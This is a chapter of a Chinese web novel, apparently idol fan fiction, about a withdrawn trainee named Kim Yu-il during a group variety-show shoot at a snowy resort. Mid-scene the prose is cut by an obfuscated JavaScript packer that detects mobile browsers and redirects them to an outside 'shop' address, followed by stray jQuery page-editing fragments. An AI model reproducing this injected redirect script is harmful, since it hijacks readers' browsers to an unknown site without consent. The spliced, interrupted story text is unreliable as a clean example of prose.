出发那天，天空十分阴沉。金侑一背着那个洗得褪色的旧背包，里面只装了几件换洗衣物和洗漱用品，默默跟在队伍最后上了大巴车。


    车上很热闹，少年们对首次集体外出拍摄充满新鲜感和兴奋，你说我笑的，玩累了靠着睡会儿，醒来又继续耍闹。


    金侑一缩在靠窗的角落，看着窗外飞速倒退的灰蒙蒙的街景，将自己隔绝在喧嚣之外。


    度假村比想象中清静。西边是大片绿树林，院里的草坪整整齐齐，房屋是旧时田园风格。


    分配房间时，金侑一恰好和尹净寒分到了一间。尹净寒和他待在一起话有些少，可能是因为金侑一看起来不好交流，他只是简单收拾了自己的东西，便坐在床上，拿出带着的mp3听歌。


    金侑一也沉默地整理着自己寥寥无几的物品，房间里安静得只能听到衣物蹭过衣物的沙沙声。


    拍摄开始了。黑洞洞的镜头像一只只冷静的眼睛，被盯得浑身不适的金侑一只能竭力让自己融入。


    在个人才艺展示时，他唱了一首练习过无数遍的《Back》，动听却不动人，金侑一望着极力赞扬他的成员们，笑笑没出声。


    在需要互动和制造笑料的时刻，金侑一又僵硬得像块木头，往往需要队友刻意 cue 他，才能勉强挤出一两句干巴巴的回应。


    他像个局外人，笨拙地模仿着“队友”应有的样子。镜头扫过他时，他总会下意识低下头或者不自然地移开视线。


    只有在帮助文俊晖和徐明皓理解某些复杂的游戏规则或韩语梗时，他才会流露出一点点自然的专注，但那也很快被镜头捕捉后的不自在所取代。


    第二天晚上，按照台本，有一个“真心话夜谈”环节。大家围坐在度假别墅客厅的壁炉前，暖色的灯光营造出温馨的氛围。


    话题从练习生的辛苦，到对出道的憧憬，再到彼此的初印象和感谢。


    轮到金侑一时，好几道目光落在他身上。他握着手里微温的饮料罐，指尖收紧。


    “我……”他开口，声音在安静的客厅里显得格外清晰，格外干涩，“没什么好说的。”这句声音很小，几乎没人听清。


    他顿了顿，避开那些目光，“能和我们成员一起站在这里，已经很好了。”


    很官方，很刻意，甚至有些扫兴。导演在镜头后示意继续，话题很快被活泼的夫盛宽和李璨引开，气氛重新活跃起来。


    金侑一悄悄松了一口气，却又感到一阵更深的虚无。他说的不是假话，能站在这里，对他而言，确实已经像是一个不真实的梦。


    可梦里的他，依旧是个孤魂野鬼。


    拍摄结束，大家各自回房。金侑一走到别墅外的露台上，他想透口气。


    雪不知道什么时候又下了起来，细小的雪粒在夜空中无声飘洒，落在肩上没一会儿便很快融化，留下一点冰凉的湿意。


    远处的山峦和近处的树丛都蒙上了一层薄薄的银白，在夜色中泛着微光，是很安静的环境，比屋内那种刻意营造的温馨热闹要真实得多。


    “不冷吗？”


    尹净寒的声音在身后响起。他不知何时也走了出来，倚在门边，手里拿着两罐热饮，递过来一罐。


    金侑一接过，是热牛奶。香甜的热气透过罐壁萦绕在鼻尖，打湿了他的心尖。


    “谢谢。”他低声说。


    尹净寒没说话，也看向外面的雪景。两人并肩站着，沉默在雪夜中蔓延。


    过了一会儿，尹净寒忽然轻声说：“你有这种感觉吗？有时候，你不像个爱豆，像个活在别人世界的影子。”


    金侑一身体几不可察地一僵。


    “不是不好的意思。”尹净寒的语气依旧平淡，“就是觉得，你好像总是站在光和热闹的背面。自己一个人。”他顿了顿，“马上就出道了，也还是这样吗？”


    金侑一握着热牛奶罐，温热的触感却暖不进心里。


    他该怎么回答？


    他真的无解。


    终末，金侑一只是摇了摇头，声音低得几乎被雪落的声音掩盖：“不知道。”


    尹净寒看了他一眼，没再追问。他喝了一口自己的热饮，呼出的白气在寒冷的空气中迅速消散。


    “雪挺好看的。”他忽然说，“就是化的时候有点脏。早点休息。晚安。”


    说完，尹净寒拍了拍金侑一的肩膀，转身回了屋里。


    金侑一独自站在露台上，雪渐渐下得大了些，绒毛般的雪絮像凝聚的热流，一点点带走手里牛奶的温度。


    他望着这纯洁宁静的世界，心里那口井水冰冷刺骨，映不出丝毫雪光。


    综艺拍摄的最后一天，安排了自由活动和最后一场集体雪仗作为收官镜头。


    这天天气很好，晴空万里，积雪松软，阳光照在雪地上，反射着耀眼的金光，晃得他眯起眼。


    少年们很快在度假村空旷的草坪上嬉闹起来，团雪球，打雪仗。你追我赶，笑声和叫喊声打破着冬日的寂静。


    金侑一没有加入。他站在一棵枝丫上积着雪的树下，远远看着。风过时，带着雪落在头顶，像长出的白发。


    看着崔胜徹被权纯永和李硕岷联手“偷袭”，看着夫盛宽灵巧地躲避着攻击，看着文俊晖和徐明皓滚在地上互扯衣角，看着李志勋被李璨撒娇拉着加入战局，看着尹净寒笑着在一旁“煽风点火”……


    孩子们鲜活得像一团熊熊的火焰，在这冰天雪地里恣意燃烧。


    而他，金侑一，是离热源最远的那个“不知福”的家伙。寒冷早已侵入骨髓，连靠近的欲望都变得微弱。


    一个雪球意外地飞过来，砸在他脚边，溅起细碎的雪沫。是玩疯了的李璨，看到他，立刻笑着招手：“侑一哥！快来啊！一起玩！”


    金侑一看着李璨冻得通红却灿烂无比的笑脸，看着其他闻声也看过来的笑脸，当那些邀请的目光纳入视野，心脏像是被什么东西轻轻攥了一下，又酸又涩。


    他弯下腰，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976268|193505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从地上捧起一捧雪。雪很冷，冷得刺痛掌心。他用力捏了捏，雪在他手里发出细微的咯吱声，勉强聚拢成一个不成形的雪团。


    他直起身，手臂抬起，做出了一个投掷的姿势。目光，却越过了嬉闹的人群，越过了积雪的草坪和树丛，望向了更远的地方。


    那里，是首尔的方向。


    首尔有什么？当然有冰冷的汉江，有被雪覆盖的墓陵公园，有最好吃的炒年糕，也有永远还不清的高利贷账单，有P社那间永远需要打扫的练习室，有社长办公室里冰冷的“决定”，还有……未出道的Unie。


    手臂缓缓垂下，那个松散的雪团从他指间滑落，无声地砸在脚下的雪地里，碎成一片。


    他转过身，背对着那片阳光下的欢笑和追逐，沿着来时的路，一步一步，离开了草坪。


    雪很厚，踩上去发出沉闷的声响。阳光照在他身上，却投不下温暖的影子。


    他走得很慢，却异常坚定。


    雪在脚下发出沉闷而空洞的声响，每一声都像是从他胸腔里挤压出来的。


    金侑一没有回头，一步一步，将那片阳光下的喧嚣抛在身后。雪花又开始飘落，悄然落在他肩头，迅速融化并渗进那件单薄外套的纤维里。


    他感觉不到冷，或者说，这寒冷早已浸透了他的骨髓，与此刻的心境融为一体。


    他走向度假村里最僻静的一处公用电话亭。玻璃上蒙着一层雾气，里面空空荡荡。


    他走进去，关上门，狭小的空间将风声和远处隐约的笑闹声隔绝在外，只剩下自己有些急促的呼吸声在耳边放大。


    他从口袋里掏出几张零钱，又摸出那张被他保存了很久却从未拨打过的名片——社长秘书室的直线电话。


    手指在冰冷的数字按键上停顿了几秒，然后，以一种近乎决绝的力度，按了下去。


    电话接通得很快。他报上名字，声音平静得连自己都感到陌生。


    “关于出道综艺，我的部分，”他对着听筒说，目光落在电话亭玻璃外积蓄的雪被上，“我有一个请求。”


    电话那头的人似乎有些意外，语气公事公办：“请说。”


    “最终播出的版本……能不能尽量删减掉我的镜头？或者，淡化我的存在。”他顿了顿，补充道，“就说我因为个人原因，状态不佳，不适合过多曝光。这对团队形象更好。”


    “您知道的，我因为弟弟的事最近状态不怎么好，我不想因为我自己，拉低了团队的曝光量。”


    那边沉默了更长时间，似乎在权衡，又似乎在请示。


    过了一会儿，声音重新传来，带着一丝不易察觉的如释重负：“金侑一，你的请求我和公司会考虑的。我们会和导演组沟通，在剪辑上做适当处理。具体细节，等拍摄全部结束后再定。”


    “好。”金侑一挂了电话。金属听筒磕回原位，发出清脆的撞击声，在狭小的空间里回荡。


    他扯了扯嘴角，一个没有温度的弧度。